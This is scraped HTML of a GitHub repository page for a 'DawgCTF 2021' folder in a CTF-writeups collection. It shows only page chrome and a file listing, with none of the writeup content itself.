requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" 